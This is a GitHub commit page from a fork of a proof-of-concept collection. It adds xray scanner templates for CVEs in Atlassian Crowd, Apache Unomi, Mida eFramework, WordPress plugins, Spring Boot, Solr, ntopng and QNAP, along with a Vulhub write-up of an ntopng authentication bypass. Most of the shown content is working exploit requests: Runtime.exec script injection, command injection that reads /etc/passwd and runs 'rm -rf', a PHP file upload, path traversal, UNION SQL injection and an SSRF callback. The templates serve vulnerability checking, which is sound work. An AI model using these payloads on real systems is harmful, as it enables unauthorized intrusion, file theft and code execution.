forked from cckuailong/reapoc
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
68a7a8c
commit 52a673f
Showing
36 changed files
with
488 additions
and
19 deletions.
There are no files selected for viewing
25 changes: 25 additions & 0 deletions
25
2019/CVE-2019-11580/poc/xray/atlassian-crowd-cve-2019-11580.yml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,25 @@ | ||
| name: poc-yaml-atlassian-crowd-cve-2019-11580 | ||
| set: | ||
| r1: randomLowercase(8) | ||
| r2: randomLowercase(4) | ||
| rules: | ||
| - method: GET | ||
| path: /crowd/admin/uploadplugin.action | ||
| expression: | | ||
| response.status == 400 | ||
| - method: POST | ||
| path: /crowd/admin/uploadplugin.action | ||
| headers: | ||
| Content-Type: multipart/mixed; boundary=----------------------------f15fe87e95a7 | ||
| body: |- | ||
| ------------------------------f15fe87e95a7 | ||
| Content-Disposition: form-data; name="file_cdl"; filename="{{r2}}.jar" | ||
| Content-Type: application/octet-stream | ||
| {{r1}} | ||
| ------------------------------f15fe87e95a7-- | ||
| expression: | | ||
| response.status == 500 | ||
| detail: | ||
| author: mumu0215(https://github.com/mumu0215) | ||
| links: | ||
| - https://github.com/jas502n/CVE-2019-11580 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,39 @@ | ||
| name: poc-yaml-unomi-rce-cve-2020-13942 | ||
| transport: http | ||
| set: | ||
| f1: randomInt(800000000, 900000000) | ||
| f2: randomInt(800000000, 900000000) | ||
| id: randomLowercase(20) | ||
| session: randomLowercase(20) | ||
| rules: | ||
| r1: | ||
| request: | ||
| method: POST | ||
| path: "/context.json" | ||
| headers: | ||
| Content-Type: application/json | ||
| body: |- | ||
| { | ||
| "filters": [ | ||
| { | ||
| "id": "{{id}}", | ||
| "filters": [ | ||
| { | ||
| "condition": { | ||
| "parameterValues": { | ||
| "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"expr {{f1}}+{{f2}}\");" | ||
| }, | ||
| "type": "profilePropertyCondition" | ||
| } | ||
| } | ||
| ] | ||
| } | ||
| ], | ||
| "sessionId": "{{session}}" | ||
| } | ||
| expression: response.status == 200 && response.body.bcontains(bytes(string(id))) && response.body.bcontains(bytes(string(session))) | ||
| expression: r1() | ||
| detail: | ||
| author: 曦shen | ||
| links: | ||
| - https://github.com/vulhub/vulhub/blob/master/unomi/CVE-2020-13942/README.zh-cn.md |
11 changes: 11 additions & 0 deletions
11
2020/CVE-2020-15920/poc/xray/mida-solutions-eframework-cve-2020-15920-rce.yml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,11 @@ | ||
| name: poc-yaml-mida-solutions-eframework-cve-2020-15920-rce | ||
| rules: | ||
| - method: POST | ||
| path: /PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING | ||
| expression: | | ||
| response.status == 200 && "^root:[x*]:0:0:".bmatches(response.body) | ||
| detail: | ||
| author: x1n9Qi8 | ||
| links: | ||
| - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202007-1517 | ||
| - https://cxsecurity.com/issue/WLB-2020080155 |
37 changes: 37 additions & 0 deletions
37
2020/CVE-2020-25213/poc/xray/wordpress-wp-file-manager-rce-cve-2020-25213.yml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,37 @@ | ||
| name: poc-yaml-wordpress-wp-file-manager-rce-cve-2020-25213 | ||
| set: | ||
| r1: randomLowercase(8) | ||
| rules: | ||
| - method: GET | ||
| path: /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php | ||
| follow_redirects: true | ||
| expression: | | ||
| response.status == 200 && response.body.bcontains(bytes("errUnknownCmd")) | ||
| - method: POST | ||
| path: /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php | ||
| follow_redirects: true | ||
| headers: | ||
| Content-Type: multipart/form-data; boundary=f9d5f22616749d6004d075298034bdd0 | ||
| body: | | ||
| --f9d5f22616749d6004d075298034bdd0 | ||
| Content-Disposition: form-data; name="cmd" | ||
| upload | ||
| --f9d5f22616749d6004d075298034bdd0 | ||
| Content-Disposition: form-data; name="target" | ||
| l1_ | ||
| --f9d5f22616749d6004d075298034bdd0 | ||
| Content-Disposition: form-data; name="upload[0]"; filename="{{r1}}.php" | ||
| <?php echo md5("{{r1}}");unlink(__FILE__);?> | ||
| --f9d5f22616749d6004d075298034bdd0-- | ||
| expression: | | ||
| response.status == 200 && response.body.bcontains(bytes(r1)) | ||
| search: | | ||
| "name":"(?P<filename>.+?)","phash" | ||
| - method: GET | ||
| path: /wp-content/plugins/wp-file-manager/lib/files/{{filename}} | ||
| expression: | | ||
| response.status == 200 && response.body.bcontains(bytes(md5(r1))) | ||
| detail: | ||
| author: Print1n(http://print1n.top) | ||
| links: | ||
| - https://www.cnblogs.com/Salvere-Safe/p/14995249.html |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
26 changes: 26 additions & 0 deletions
26
2021/CVE-2021-21234/poc/xray/spring-boot-actuator-logview-read-file-cve-2021-21234.yml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,26 @@ | ||
| name: poc-yaml-spring-boot-actuator-logview-read-file-cve-2021-21234 | ||
| groups: | ||
| linux1: | ||
| - method: GET | ||
| path: /manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../ | ||
| expression: | | ||
| response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) | ||
| linux2: | ||
| - method: GET | ||
| path: /log/view?filename=/etc/passwd&base=../../../../../../../../../../ | ||
| expression: | | ||
| response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) | ||
| Windows1: | ||
| - method: GET | ||
| path: /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ | ||
| expression: | | ||
| response.status == 200 && response.body.bcontains(b"for 16-bit app support") | ||
| Windows2: | ||
| - method: GET | ||
| path: /log/view?filename=/windows/win.ini&base=../../../../../../../../../../ | ||
| expression: | | ||
| response.status == 200 && response.body.bcontains(b"for 16-bit app support") | ||
| detail: | ||
| author: fuzz7j(https://github.com/fuzz7j) | ||
| links: | ||
| - https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234 |
10 changes: 10 additions & 0 deletions
10
...85/poc/xray/wordpress-plugins-cars-seller-auto-classifieds-script-cve-2021-24285-sqli.yml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,10 @@ | ||
| name: poc-yaml-wordpress-plugins-cars-seller-auto-classifieds-script-cve-2021-24285-sqli | ||
| rules: | ||
| - method: POST | ||
| path: "/wp-admin/admin-ajax.php" | ||
| body: action=request_list_request&order_id=-1662 UNION ALL SELECT NULL,NULL,md5(89757),NULL,NULL,NULL,NULL,NULL,NULL-- - | ||
| expression: response.body.bcontains(b"7294a8e1350ed4228c575b9ab855de30") | ||
| detail: | ||
| author: z1Ro0丶 | ||
| links: | ||
| - https://idc.wanyunshuju.com/aqld/2177.html |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,21 @@ | ||
| name: poc-yaml-solr-cve-2021-27905-ssrf | ||
| manual: true | ||
| transport: http | ||
| set: | ||
| reverse: newReverse() | ||
| reverseURL: reverse.url | ||
| rules: | ||
| - method: GET | ||
| path: "/solr/admin/cores?indexInfo=false&wt=json" | ||
| expression: | | ||
| response.status == 200 | ||
| search: >- | ||
| "name":"(?P<name>.+?)" | ||
| - method: POST | ||
| path: "/solr/{{name}}/replication/?command=fetchindex&masterUrl={{reverseURL}}" | ||
| expression: | | ||
| reverse.wait(5) | ||
| detail: | ||
| author: txf(https://github.com/tangxiaofeng7) | ||
| links: | ||
| - https://github.com/murataydemir/CVE-2021-27905 |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,16 @@ | ||
| name: poc-yaml-ntopng-cve-2021-28073 | ||
| manual: true | ||
| transport: http | ||
| rules: | ||
| r0: | ||
| request: | ||
| cache: true | ||
| method: GET | ||
| path: / | ||
| follow_redirects: false | ||
| expression: response.status == 302 && response.headers['Location'].contains("/lua/login.lua?referer=") | ||
| expression: r0() | ||
| detail: | ||
| author: Beard_Lin | ||
| links: | ||
| - https://github.com/errorecho/CVEs-Collection/blob/main/CVE-2021-28073 |
This file was deleted.
Oops, something went wrong.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,25 @@ | ||
| name: poc-yaml-qnap-cve-2021-28810 | ||
| set: | ||
| rand: randomInt(1000, 9999) | ||
| r1: randomLowercase(4) | ||
| rules: | ||
| - method: GET | ||
| path: /cgi-bin/qpkg/RoonServer/ajax/ajax.php?a=updateformfield&t=`cat%20/etc/passwd%20>{{r1}}` | ||
| headers: | ||
| cookie: NAS_USER={{rand}} | ||
| expression: | | ||
| response.status == 200 && !response.body.bcontains(b"not logged in") | ||
| - method: GET | ||
| path: /cgi-bin/qpkg/RoonServer/ajax/{{r1}} | ||
| expression: | | ||
| response.status == 200 && response.body.bcontains(b"admin:x:0:0") | ||
| - method: POST | ||
| path: /cgi-bin/qpkg/RoonServer/ajax/ajax.php?a=updateformfield&t=`rm%20-rf%20{{r1}}` | ||
| headers: | ||
| cookie: NAS_USER={{rand}} | ||
| expression: | | ||
| response.status == 200 && !response.body.bcontains(b"not logged in") | ||
| detail: | ||
| author: albertchang | ||
| links: | ||
| - https://mp.weixin.qq.com/s/xfT3LkYNlzFYJdG1z0c7ug |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,47 @@ | ||
| # ntopng Authentication Bypass (CVE-2021-28073) | ||
|
|
||
| [中文版本(Chinese version)](README.zh-cn.md) | ||
|
|
||
| Ntopng is a passive network monitoring tool focused on flows and statistics that can be obtained from the traffic captured by the server. | ||
|
|
||
| There is a authentication bypass vulnerability in ntopng 4.2 and previous versions. | ||
|
|
||
| Reference link: | ||
|
|
||
| - http://noahblog.360.cn/ntopng-multiple-vulnerabilities/ | ||
|
|
||
| ## Vulnerability Environment | ||
|
|
||
| Execute the following command to start ntopng: | ||
|
|
||
| ``` | ||
| docker-compose up -d | ||
| ``` | ||
|
|
||
| After the server is started, browse the `http://your-ip:3000` to see the login page, whose default password is admin/admin, and the password will be request to reset for the first login. | ||
|
|
||
| ## Vulnerability Reproduce | ||
|
|
||
| According to the reference link and the simple [poc.py](poc.py), calculate the length of the ntopng lua directory: | ||
|
|
||
| ``` | ||
| python poc.py --url http://your-ip:3000/ baselength | ||
| ``` | ||
|
|
||
|  | ||
|
|
||
| It can be seen that the path length in the Vulhub container is 36. | ||
|
|
||
| Then, browse the page or interface that we want to access without authorization, such as `/lua/find_prefs.lua`, and it will be redirected to the login page. | ||
|
|
||
| Use POC to generate unauthorized access URL: | ||
|
|
||
| ``` | ||
| python poc.py --url http://your-ip:3000/ generate -l 36 -p find_prefs.lua | ||
| ``` | ||
|
|
||
|  | ||
|
|
||
| The interface is able to access without authorization through this URL: | ||
|
|
||
|  |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,45 @@ | ||
| # ntopng权限绕过漏洞（CVE-2021-28073） | ||
|
|
||
| ntopng是监控服务器网络流量的工具，对外提供Web页面。其4.2及以前的版本中存在一处权限绕过漏洞，利用该漏洞可以未授权访问目标任意接口。 | ||
|
|
||
| 参考链接： | ||
|
|
||
| - http://noahblog.360.cn/ntopng-multiple-vulnerabilities/ | ||
|
|
||
| ## 漏洞环境 | ||
|
|
||
| 执行如下命令启动ntopng： | ||
|
|
||
| ``` | ||
| docker-compose up -d | ||
| ``` | ||
|
|
||
| 环境启动后，访问`http://your-ip:3000`将被跳转到登录页面，默认密码admin/admin，首次登录将会重设密码。 | ||
|
|
||
| ## 漏洞复现 | ||
|
|
||
| 根据参考链接中的方法，编写一个简单的[poc.py](poc.py)。首先，计算出ntopng lua目录的长度： | ||
|
|
||
| ``` | ||
| python poc.py --url http://your-ip:3000/ baselength | ||
| ``` | ||
|
|
||
|  | ||
|
|
||
| 可见，Vulhub靶场中的长度为36。 | ||
|
|
||
| 然后，找到我们想要越权访问的页面或接口，比如`/lua/find_prefs.lua`，正常访问时会302跳转到登录页面，无权限。 | ||
|
|
||
| 使用POC生成越权访问URL： | ||
|
|
||
| ``` | ||
| python poc.py --url http://your-ip:3000/ generate -l 36 -p find_prefs.lua | ||
| ``` | ||
|
|
||
|  | ||
|
|
||
| 访问这个URL，发现可以越权返回正常信息： | ||
|
|
||
|  | ||
|
|
||
| 后续更深入的利用方法，可以自行修改poc.py利用。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,12 @@ | ||
| version: '2' | ||
| services: | ||
| ntopng: | ||
| image: vultarget/ntopng_authentication_bypass-cve_2021_28073:4.2 | ||
| depends_on: | ||
| - redis | ||
| ports: | ||
| - "3000:3000" | ||
| environment: | ||
| REDIS_SERVER: redis:6379 | ||
| redis: | ||
| image: redis:6.2-alpine |
Oops, something went wrong.